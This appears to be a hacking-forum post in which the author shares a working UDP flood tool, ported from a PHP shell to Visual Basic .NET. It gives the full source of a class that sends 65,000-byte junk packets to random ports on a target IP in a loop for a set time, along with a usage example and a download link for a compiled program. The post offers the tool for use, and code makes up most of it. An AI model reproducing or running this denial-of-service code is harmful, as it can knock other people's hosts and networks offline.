[SQLi]

UDP Flood

Introduction

Please do disregard my english, it is not my primary language.

This is a UDP-flooding script that I ported myself from an old PHP shell to Visual Basic .NET. The example program has the Excision Theme by ๖ۣۜMephobia @ HF.

Screenshots


Source

Imports System.Text
Imports System.Net.Sockets
Imports System.Net

Public Class UDP

Private Delegate Sub Send(ByVal IP As String, ByVal Port As Integer, ByVal Data As String)
Private S As New Send(AddressOf _S)
Private Client As New UdpClient

Public Flooding As Boolean = False

Public Sub Flood(ByVal IP As String, ByVal Time As Date)
If Flooding = False Then Flooding = True
Dim RandomData As String = String.Empty
Dim I As Integer = 0
Do Until I > 65000
RandomData &= "X"
I += 1
Loop
Do
If Now > Time Then
Flooding = False
Exit Sub
End If
Randomize()
S = New Send(AddressOf _S)
S(IP, CInt(Math.Ceiling(Rnd() * 65000)), RandomData)
Loop
End Sub

Private Sub _S(ByVal IP As String, ByVal Port As Integer, ByVal Data As String)
Client = New Net.Sockets.UdpClient
Client.Connect(IPAddress.Parse(IP), Port)
Client.Send(Encoding.ASCII.GetBytes(Data), Encoding.ASCII.GetBytes(Data).Length)
Client.Close()
Client = Nothing
End Sub

End Class

Dim UDP As New UDP
UDP.Flood("127.0.0.1", Now.AddSeconds(Integer.Parse("120"))) 'Host followed by time in seconds

Download example program
http://www.mediafire.com/

Credits
iconfinder.com - a sexy icon for the example program

[SQLi]

I'm working on porting a better UDP flooding method from PHP to VB, once I'm done I'll update this thread with the code.
This is now done, and the code is in the original post.